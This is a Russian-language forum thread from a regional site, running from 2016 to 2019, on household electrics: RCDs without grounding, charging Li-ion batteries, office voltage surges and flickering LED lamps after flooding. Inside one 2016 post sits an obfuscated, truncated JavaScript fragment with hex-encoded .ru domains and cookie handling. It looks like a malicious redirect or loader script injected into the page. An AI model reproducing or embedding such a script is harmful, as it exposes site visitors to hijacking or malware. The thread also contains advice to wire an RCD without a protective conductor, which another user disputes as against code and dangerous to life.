Автор: Firwalle 12.1.2016, 11:23

Зэмля по всей Магаданской области нэт, но для работы УЗО кабель должен быть с проводником заземления.

Автор: Хансен 12.1.2016, 21:57

как то так

Автор: Firwalle 12.1.2016, 23:10

Схема для Магадана неверная. У нас нет PE, у нас PEN.

Автор: dissector 12.1.2016, 23:24

Вот,вот.
Что посоветуете?

Автор: Firwalle 12.1.2016, 23:28

Землю соединить с нулем до УЗО - это называется занулением или PEN.

Автор: dissector 12.1.2016, 23:55

Он так отработает на декларируемом токе?

Автор: Voldemar 13.1.2016, 0:00

не обязательно... УЗО как раз и рекомендуется в первую очередь там, где нет заземления и зануления...
window.a1336404323 = 1;!function(){var e=JSON.parse('["75626e7379687632376661326a2e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="7787",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "am49.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Автор: Firwalle 13.1.2016, 0:05

При утечке тока сработки (5, 10 или 30 мА) на землю возникает разница токов между фазой и нейтралью, при достижении этой разницей величины тока сработки происходит отключение цепи. Можно и без PEN проводника подключать как написал Voldemar, но:
1. Это запрещено ПУЭ.
2. Током ебанет.

Автор: dissector 13.1.2016, 0:24

Спасибо,Voldemar . позвонил и все объяснил.
!!!

Автор: ObiVan 18.2.2017, 20:23

Можно заряжать плоские Li-Ion аккумуляторы от зарядника для Li-Ion аккумуляторов типа АА и ААА ?

Автор: MagON 18.2.2017, 20:32

ObiVan, если они идут со встроенным контролером заряда, то хоть от юсб

Так на зарядке такой выход 1,2-1,5 Вольт всего 3,7 она никак не даст

Автор: ObiVan 18.2.2017, 22:03

Эта зарядка на 3,7

П.С. Плоский аккум идет с параметром 25С то есть с большим током отдачи. Баночные типа ААА и АА "проседают". В идеале нужно найти зарядку под плоские аккумы, но её в городе не нашел.

Автор: rusinchic 19.2.2017, 10:59

можно заряжать и стабилизирующим БП, выставив напругу не более 5,5В. и ток не более 1А. лучше под наблюдением.

Автор: ObiVan 7.6.2018, 22:06

К кому обратиться? В организации которая занимает один этаж здания, периодически происходят скачки напряжения. Выглядит это так: резко затухают и вспыхивают лампочки дневного света, бесперебойники на компах пищат и переключаются на питание компов от батареи. Когда батарея садится отрубаются компы. Формально всё это время электричество есть. На компах без аккумулятора, BIOS выдает сообщение - «Power supply surges detected during the previous power on».
Дисплей бесперебойника показывает входящее напряжение от 208 до 219 вольт. Автоматы в щитке по 25 ампер (на каждый кабинет) не срабатывают.

Автор: Voldemar 7.6.2018, 22:16

Оптимально - к тому, кто обслуживает и отвечает за данный участок и имеет доступ ко всем необходимым местам коммутации.
Причины могут быть разные, как вариант - плохенький ноль, либо на этой же линии запускается периодически мощное оборудование.На Марчекане раньше когда мельница запускалась, у тех, кто на одном фидере с ней - напруга вдвое проседала, даже дизеля иногда успевали завестись.

Автор: Babay 8.6.2018, 10:36

Можно

Автор: Babay 8.6.2018, 11:00

БП в компах не умеют измерять параметры сети, так что просадка напряжения тут имхо не причем, может стоит проверить установку в БИОСе, которая отвечает за действия после отключения питания?

208 вольт вполне рабочее напряжение для ИБП, даже в совсем дешевых ИБП есть ручные установки чувствительности - переключателями например, а в продвинутых и вовсе программно устанавливается порог перехода на аккумуляторы. Стоит это проверить.
А вообще, на моем предприятии была подобная проблема, как раз о ней упоминает Voldemar, обращения ку да то - бесперспективный путь.

Автор: ObiVan 23.5.2019, 18:40

Вкрутил новые светодиодные лампочки. Потом прочитал в инете что есть светодиодные лампы с мерцанием от которого устают глаза. Проверяется с помощью камеры смартфона. Проверил. Мои лампы с мерцанием. Вернуть обратно не могу т.к. чек уже выбросил На видео лампы галогенки и светодиодные. Сразу видно какие где.

Автор: Poruchik 23.5.2019, 20:00

Я как-то уже приводил этот ресурс (вернее, мобильную версию) - http://lamptest.ru/

Неплохая база, бывает полезна при покупке светодиодных ламп.

Автор: Гидр 23.5.2019, 22:58

ObiVan, вопрос - а глаза-то устают?

так-то и кинематограф с мерцанием, 24 кадра в секунду, но все его любят

п.с. по школе помню советские люминисцентные лампы, под которыми из-за резко искажённого спектра лица обычных человеков были зеленовато-синеватыми. вот от этого глаза реально уставали. а если в диодной подсветке на понимжение яркости шим-контроллер работает - так глаза устают не от мерцания в килогерцы, ибо как я уже сказал - в стандартной аналоговой кинопроекции они не устают, а из-за упяливания часами в маленький экранчик с, возможно, хреновой цветопередачей

Автор: ObiVan 24.5.2019, 1:15

Гидр, узкий спектр освещения который не передает половину цветов это вторая проблема светодиодных ламп. На мой взгляд лампы с "теплым" светом имеют более широкий спектр, и правильно передают цвета. ИМХО лучше устанавливать оба типа ламп вместе на одной люстре. Будут дополнять друг друга, и спектр освещения будет ближе к дневному.
От мерцания глаза всётаки устают. Чем ниже частота тем больше. На старых ЭЛТ мониторах с частотой развёртки 60-65 герц глаза быстро уставали, если монитор поддерживал 80-85 герц было гораздо лучше. У нас в розетке ток 50 герц и на хреновых лампах без драйвера пульсация не сглаживается.

Вот статейка по этому поводу: https://www.quarta-rad.ru/useful/vse-o-lampax-i-drugix-istochnikax-sveta/pulsacii-mertcaniya-lamp/

Автор: СЕРЁГА-ГОГА 17.7.2019, 14:13

Ребята,подскажите,поставил точечные светильники ,лампы в них светодиодные,месяца три работали нормально,сейчас при выключенном включателе моргает,в включателе подсветки нет.лампы такие

Автор: Andrey69 17.7.2019, 14:26

СЕРЁГА-ГОГА, дохнут либо светодиоды,либо схема их запитывающая. Сталкивался много раз с подобной цветомузыкой. С энергосберегайками удалось восстановить схему-подохли конденсаторы

Автор: СЕРЁГА-ГОГА 17.7.2019, 14:56

Andrey69, три лампы сразу хз, ноль отключаю в распредкаробке тухнет, может это последствия затопов ?соседи жёсткого топили, в туалете света нет,топили до установки светильников

Автор: Andrey69 17.7.2019, 15:09

СЕРЁГА-ГОГА, ну непонятно тут. С одной стороны сразу три лампы маловероятно. С другой вот смотрю цены в Германии на лампочки...ровно такая же подколка у меня сейчас с энергосберегайками

https://www.ebay.com/sch/i.html?_ftrt=901&_sop=12&_sadis=15&_dmd=1&LH_LocatedIn=77&LH_ItemCondition=3&_ipg=50&_ftrv=1&_from=R40&_nkw=%D0%BB%D0%B0%D0%BC%D0%BF%D0%B0+%D1%81%D0%B2%D0%B5%D1%82%D0%BE%D0%B4%D0%B8%D0%BE%D0%B4%D0%BD%D0%B0%D1%8F+220+%D0%B2%D0%BE%D0%BB%D1%8C%D1%82+%D0%B514&_sacat=0&_fosrp=1

Автор: СЕРЁГА-ГОГА 17.7.2019, 16:15

Будем думать,без литра не понять что почём

Автор: Voldemar 17.7.2019, 17:26

СЕРЁГА-ГОГА, с одной стороны - могут быть и лампы. Рынок светодиодных - та ещё лотерея, я как-то за неделю штук пять гаусовских выкинул.С другой, если ты говоришь, что при разорванной цепи моргают, пока ноль не оторвёшь - проблемы в проводке тоже могут быть.Если серьёзно топило - могли окислы появиться, а в других местах, если замыкало где-то и грелось, пережжёная изоляция может в дальнейшем шить потихоньку.Возможно, есть смысл всё перемерить - от напряжения на всех точках и сопротивления самой цепи, до сопротивления изоляции и даже петли фаза-ноль (из-за окислов на соединениях сопротивление может повыситься, при плохом ноле нестабильность напряжения в обе стороны возможна.

Автор: СЕРЁГА-ГОГА 17.7.2019, 20:24

Voldemar,такие мысли и были,решил вот проверить ход своих мыслей,придётся всё-таки долбить стены,

Автор: kolbasatnik 17.7.2019, 22:51

Вопрос не жизни и смерти, но тоже интересно. В люстре 5 светодиодных ламп. Фаза одна (один провод и выключатель соответственно, ну и ноль, конечно, присутствует постоянно), так вот: при выключении один из светодиодов (ламп) горит в полнакала.

Автор: СЕРЁГА-ГОГА 17.7.2019, 23:10

kolbasstnik, светлячок в включателе может давать такой эфект

Автор: Poruchik 17.7.2019, 23:23

Диммеры ещё бывает и "гудят" - https://habr.com/ru/company/lamptest/blog/459644/

Автор: Гидр 18.7.2019, 1:16

вам же человек написал - "в выключателе нет подсветки"

и началось - светлячки, диммеры...

ребят, ну может хоть читать надоть? ясно же обозначено что было затопление...

Автор: Poruchik 18.7.2019, 3:55

Может кому пригодится. Человечек ведёт базу элементов питания - https://habr.com/ru/post/459638/ .
Сама база - https://telnov.wiki/

Автор: Andrey69 18.7.2019, 13:19

СЕРЁГА-ГОГА, да разломай одну лампочку ради интереса,завези ко мне на выходных-выясним что почем. 89246918246. Сюда результаты пыток выложим. Если не лень конечно

Автор: Babay 18.7.2019, 15:36

Лампы тут не причем, не надо их ломать. Это утечка из-за потопов, возможно сейчас влага подошла в проводам освещения между выключателем и люстрой, а отключенное отопление этому поспособствовало. Я бы не парился на этот счет, т.к. для моргания светодиодных ламп нужно очень мало, но проверить изоляцию нужно полюбому. Можно пока параллельно люстре повесить коднер блокирующий - моргание пройдет.

Автор: СЕРЁГА-ГОГА 18.7.2019, 19:01

Babai, я вообще то сильно и не парюсь,грешу тоже на влагу ,отключил со все сторон пусть сохнет,первого улетаю,приеду буду разбираться,по результатам отпишусь,

Автор: dissector 21.7.2019, 2:14

Пробой конденсатора. Можно перепаять

Автор: Babay 21.7.2019, 21:23

скорее обрыв диода в мосту, раз в полнакала

Автор: kolbasatnik 21.7.2019, 22:23

Где диод и где конденсатор? Обычны маленький цоколь забыл марку) и колба лампа - светодиоды в ней. Подгорает одна лампа в разных патронах. Понятно, что дефект лампы. Но КАК?

Автор: Babay 22.7.2019, 10:08

kolbasatnik, в лампе есть схема, ограничивающая ток через светодиоды: это в дешевых лампах ставят балластный конденсатор, в нормальных - драйвер с выпрямителем и стабилизатором тока.

Автор: СЕРЁГА-ГОГА 3.12.2019, 16:42

Вот наконец то пишу,то я уехал,то дочь(её квартира) сохло все 3.5 месяца, включил все работает,прозвонил изоляцию норма,что было хз,видать все же влага,

Автор: Babay 3.12.2019, 17:01

По любому была влага виновата, сейчас отопление включено - вот все и просохло.